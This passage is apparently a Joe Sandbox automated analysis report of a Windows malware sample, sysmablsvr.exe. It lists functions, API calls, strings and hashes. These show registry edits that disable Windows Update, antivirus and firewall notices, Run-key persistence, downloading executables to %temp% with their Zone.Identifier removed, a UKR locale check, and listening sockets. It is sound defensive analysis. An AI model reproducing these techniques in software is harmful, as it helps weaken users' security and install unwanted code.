String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$55a4er5wo$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$CheckedValue$DisableWindowsUpdateAccess$DisableWindowsUpdateAccess$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$NoAutoUpdate$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$WindowsUpdate$WindowsUpdate$sysmablsvr.exe
API String ID: 4172876685-2064808860
Opcode ID: dacd91aba6d53fbcaf56ddf06e648a3a217ce3490dd00242cf583643d0613e04
Instruction ID: a49710c48774a039d08af1d560b2319e957ec07716638a9d0d735a0d257e6f0f
Opcode Fuzzy Hash: dacd91aba6d53fbcaf56ddf06e648a3a217ce3490dd00242cf583643d0613e04
Instruction Fuzzy Hash: 9B5268B1B80318BBE7209B60DC4AFD93779AB48B11F1085A5F305B91D0DAF5A984CB5D

Non-executed Functions

Function 00406650 Relevance: 77.3, APIs: 34, Strings: 10, Instructions: 300
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,00406CC0,?,?,?), ref: 00406658
wsprintfW.USER32 ref: 0040668F
wsprintfW.USER32 ref: 004066AF
wsprintfW.USER32 ref: 004066CF
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 00406708
PathFileExistsW.SHLWAPI(?), ref: 00406718
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406751
DeleteFileW.KERNEL32(?), ref: 0040675E
PathFileExistsW.SHLWAPI(?), ref: 0040676B
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406785
DeleteFileW.KERNEL32(?), ref: 00406792
PathFileExistsW.SHLWAPI(?), ref: 0040679F
CreateDirectoryW.KERNEL32(?,00000000), ref: 004067B2
SetFileAttributesW.KERNEL32(?,00000002), ref: 004067C5
PathFileExistsW.SHLWAPI(?), ref: 004067D2
CopyFileW.KERNEL32(00417500,?,00000000), ref: 004067EA

Strings

%s\%s, xrefs: 00406A31
shell32.dll, xrefs: 0040681E
%s.lnk, xrefs: 00406683
%s\%s, xrefs: 004066E3
%s\*, xrefs: 004066FC
%s\%s\VolDrvConfig.exe, xrefs: 004066C3
shell32.dll, xrefs: 00406836
%s\%s\%s, xrefs: 00406ACB
%s\%s, xrefs: 00406AA4
%s\%s, xrefs: 004066A3

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$Delete$CopyCreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDrvConfig.exe$%s\*$shell32.dll$shell32.dll
API String ID: 2120662298-3006713477
Opcode ID: db5eccb7a8f15aa8004616f5cf87b59d8a7d315b42364bc1ec8f026dd92e313a
Instruction ID: c06ff6b6fb177b83c5a42a6bb152b383d4bd735e421ae8a12f9cadfa06fd6cc4
Opcode Fuzzy Hash: db5eccb7a8f15aa8004616f5cf87b59d8a7d315b42364bc1ec8f026dd92e313a
Instruction Fuzzy Hash: A8D164B5900258ABCB20DF50DC54FEA77B8BB48304F04C5EAF20AA6191D7B99BD4CF59

Function 00406510 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406AFE,00000000), ref: 0040651F
wsprintfW.USER32 ref: 00406535
FindFirstFileW.KERNEL32(?,?), ref: 0040654C
lstrcmpW.KERNEL32(?,00410FC8), ref: 00406571
lstrcmpW.KERNEL32(?,00410FCC), ref: 00406587
wsprintfW.USER32 ref: 004065AA
wsprintfW.USER32 ref: 004065CA
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406606
FindNextFileW.KERNEL32(000000FF,?), ref: 0040661A
FindClose.KERNEL32(000000FF), ref: 0040662F
RemoveDirectoryW.KERNEL32(?), ref: 00406639

Strings

%s\%s, xrefs: 004065BE
%s\*, xrefs: 00406529
%s\%s, xrefs: 0040659E

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: aaf4b3f36bfa67770f4778d47adab31ac8eaf14f3968b868ec32d0f8b28c6d5c
Instruction ID: 29a521c4e1aad10613397e171bad1bd73fe874f8ff332ca0de340875b50b0acb
Opcode Fuzzy Hash: aaf4b3f36bfa67770f4778d47adab31ac8eaf14f3968b868ec32d0f8b28c6d5c
Instruction Fuzzy Hash: 56315BB5500218AFCB10DB60EC85FDA7778AB48701F40C5A9F609A3185DBB5DAD9CF68

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D6C0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D6DE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D6F0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D714
Part of subcall function 0040D6F0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D76F
Part of subcall function 0040D6F0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D7AC
Part of subcall function 0040D6F0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D7B7
Part of subcall function 0040D6F0: DuplicateHandle.KERNEL32(00000000), ref: 0040D7BE
Part of subcall function 0040D6F0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D7D2

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 23dfeb1008158e2e0cd7513cecaa842fef64be5ff76144f1ff25a44a66e0fb2a
Instruction ID: 5f4ab44496f95361e3b7ac477a06260d9546e6561ad256066a099106afd7ac33
Opcode Fuzzy Hash: 23dfeb1008158e2e0cd7513cecaa842fef64be5ff76144f1ff25a44a66e0fb2a
Instruction Fuzzy Hash: 2B41C070640701BBD3209F649D0AF4B77E4AF44720F108A2DF6A9EA2D4E7F4E445875A

Function 0040DCA0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040DCBA
htons.WS2_32(0000076C), ref: 0040DCF0
inet_addr.WS2_32(239.255.255.250), ref: 0040DCFF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DD1D

Part of subcall function 0040B010: htons.WS2_32(00000050), ref: 0040B03D
Part of subcall function 0040B010: socket.WS2_32(00000002,00000001,00000000), ref: 0040B05D
Part of subcall function 0040B010: connect.WS2_32(000000FF,?,00000010), ref: 0040B076
Part of subcall function 0040B010: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B0A8

bind.WS2_32(000000FF,?,00000010), ref: 0040DD53
lstrlenA.KERNEL32(00411D70,00000000,?,00000010), ref: 0040DD6C
sendto.WS2_32(000000FF,00411D70,00000000), ref: 0040DD7B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DD95

Part of subcall function 0040DE20: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DE6E
Part of subcall function 0040DE20: Sleep.KERNEL32(000003E8), ref: 0040DE7E
Part of subcall function 0040DE20: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DE9B
Part of subcall function 0040DE20: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DEB1
Part of subcall function 0040DE20: StrChrA.SHLWAPI(?,0000000D), ref: 0040DEDE

Strings

239.255.255.250, xrefs: 0040DCFA

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 67bb0c7a586e0ff2326b65c0e0cd249105ca887c7b19898e2fcb7942032de1f3
Instruction ID: 4840ad5dfb28dde6295409afe741e8bd11bfa900d245e54f0039e4319b19f377
Opcode Fuzzy Hash: 67bb0c7a586e0ff2326b65c0e0cd249105ca887c7b19898e2fcb7942032de1f3
Instruction Fuzzy Hash: 7C41D8B4E00208ABDB14DFE4E889BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction ID: ab17557c7f530dee2ff78f8644a874c55f5dae77ec0fdd8d5eef9b2878869d10
Opcode Fuzzy Hash: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction Fuzzy Hash: 6031C871A44301AFE320DF649C46F9BB6E0AF48B14F40493DF695EB2E0D3B5D544879A

Function 0040D280 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D292
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D2B8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D2EF
GetTickCount.KERNEL32 ref: 0040D304
Sleep.KERNEL32(00000001), ref: 0040D324
GetTickCount.KERNEL32 ref: 0040D32A

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction ID: 4b62ca25e6cdc7f9b2e1b521222d8c0dfc3b1f9d22396e6cb4543525420831ef
Opcode Fuzzy Hash: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction Fuzzy Hash: 1F31E874D00209EFCB14DFA8D948AEEB7B0FF44315F108669E825A7290D7749A94CB59

Function 0040B010 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B03D

Part of subcall function 0040AFD0: inet_addr.WS2_32(0040B051), ref: 0040AFDA
Part of subcall function 0040AFD0: gethostbyname.WS2_32(?), ref: 0040AFED

socket.WS2_32(00000002,00000001,00000000), ref: 0040B05D
connect.WS2_32(000000FF,?,00000010), ref: 0040B076
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B0A8

Strings

www.update.microsoft.com, xrefs: 0040B047

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 1adbfc87e4e946ee119d9e5b2ddfdf65343185abbb22bc100f48905234863ed2
Instruction ID: 0ae4650424ba83aa22eef998e17282091954cac8fd9820034268e2ac291e36ad
Opcode Fuzzy Hash: 1adbfc87e4e946ee119d9e5b2ddfdf65343185abbb22bc100f48905234863ed2
Instruction Fuzzy Hash: 4A212CB4D102099BDB04DFE4D946BEFBBB4AF08310F104169E515B7390E7745A44CBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DAED,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction ID: d62f3833751a539e27b625c66b0fe154f308ce322b9d6d34e226f7a30690eb36
Opcode Fuzzy Hash: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction Fuzzy Hash: 5C118974A40710AFE360DF749C0AF877AE0AF04B54F50892DF599E72E1E3F49544879A

Function 0040ECC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,004075E8), ref: 0040ECD3
strcmp.NTDLL ref: 0040ECE2

Strings

UKR, xrefs: 0040ECD9

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 54f5cdf661095b57fe809351cef4458ab0cf24a1f510da97d06a6553b22e766c
Instruction ID: 77034b4ee665358b2559d06917653f26683f777e377fe2659d333d0cc479d80c
Opcode Fuzzy Hash: 54f5cdf661095b57fe809351cef4458ab0cf24a1f510da97d06a6553b22e766c
Instruction Fuzzy Hash: 19E02B32E4830876FA10BAA5AC03FEA375C9711701F000176FF05F21C1F6BA922A979B

Function 0040F070 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 235
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F079
srand.MSVCRT ref: 0040F080
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F0A0
strlen.NTDLL ref: 0040F0AA
mbstowcs.NTDLL ref: 0040F0C1
rand.MSVCRT ref: 0040F0C9
rand.MSVCRT ref: 0040F0DD
wsprintfW.USER32 ref: 0040F104
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F11A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F149
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F178
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F1AB
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F1DC
CloseHandle.KERNEL32(000000FF), ref: 0040F1EB
wsprintfW.USER32 ref: 0040F204
DeleteFileW.KERNEL32(?), ref: 0040F214
Sleep.KERNEL32(000003E8), ref: 0040F21F
Sleep.KERNEL32(000007D0), ref: 0040F240
ExitProcess.KERNEL32 ref: 0040F268
DeleteFileW.KERNEL32(?), ref: 0040F27E
CloseHandle.KERNEL32(000000FF), ref: 0040F28B
InternetCloseHandle.WININET(00000000), ref: 0040F298
InternetCloseHandle.WININET(00000000), ref: 0040F2A5
Sleep.KERNEL32(000003E8), ref: 0040F2B0
rand.MSVCRT ref: 0040F2C5
Sleep.KERNEL32 ref: 0040F2DC
rand.MSVCRT ref: 0040F2E2
rand.MSVCRT ref: 0040F2F6
wsprintfW.USER32 ref: 0040F31D
DeleteUrlCacheEntryW.WININET(?), ref: 0040F32D
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F347
wsprintfW.USER32 ref: 0040F367
DeleteFileW.KERNEL32(?), ref: 0040F377
Sleep.KERNEL32(000003E8), ref: 0040F382
Sleep.KERNEL32(000007D0), ref: 0040F3A3
ExitProcess.KERNEL32 ref: 0040F3CA
DeleteFileW.KERNEL32(?), ref: 0040F3D9

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040F115
%temp%, xrefs: 0040F09B
%s:Zone.Identifier, xrefs: 0040F1F8
%s\%d%d.exe, xrefs: 0040F311
%s:Zone.Identifier, xrefs: 0040F35B
%s\%d%d.exe, xrefs: 0040F0F8

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$ExitOpenProcess$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 3526668077-2417596247
Opcode ID: 1100962fa89ef17564c5c36be3cff2d1b1833b9d6adaa76289525fa13b6591b5
Instruction ID: d1b69f2f4fd2238e53d437ba447cd35dd01203c47a8128eb559f47a2066d0ae0
Opcode Fuzzy Hash: 1100962fa89ef17564c5c36be3cff2d1b1833b9d6adaa76289525fa13b6591b5
Instruction Fuzzy Hash: 7691CBB5940318ABE720DB60DC49FE93779AB88701F0484F9F609A51D1DBB99AD4CF28

Function 0040B430 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B360: gethostname.WS2_32(?,00000100), ref: 0040B37C
Part of subcall function 0040B360: gethostbyname.WS2_32(?), ref: 0040B38E

strcmp.NTDLL ref: 0040B460

Strings

192., xrefs: 0040B4D0
.10., xrefs: 0040B56B
10., xrefs: 0040B52F
.127., xrefs: 0040B4AD
127., xrefs: 0040B471
.127, xrefs: 0040B48F
.192, xrefs: 0040B4EE
.192., xrefs: 0040B50C
.10, xrefs: 0040B54D
0.0.0.0, xrefs: 0040B44E

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: 5dde0825bd444be26dad4d2e0a68fa3133cd9c23aadc8b3786c6e5e0e51f72e0
Instruction ID: bd96892130d723efa302dbc8dbf9c53b9c7bf10ac090126f1a0951e43edd4a65
Opcode Fuzzy Hash: 5dde0825bd444be26dad4d2e0a68fa3133cd9c23aadc8b3786c6e5e0e51f72e0
Instruction Fuzzy Hash: 0C6181B5A04205A7CB10AF61EC46AAB7774AB10308F14847AF805B73C2E73DE655C6DF

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

ilci, xrefs: 004019E1
PCOI, xrefs: 0040198A

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction ID: 052bb906b72d623838b809fd2f084fe798b134d15a2779f83897d066d1444b79
Opcode Fuzzy Hash: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction Fuzzy Hash: 3441F471600300ABCB209F74DC8CB9B77A9AF44720F14463DF895A72E1DB78E881CB99

Function 0040EA80 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EAA8
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EAF8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EB0B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040EB44
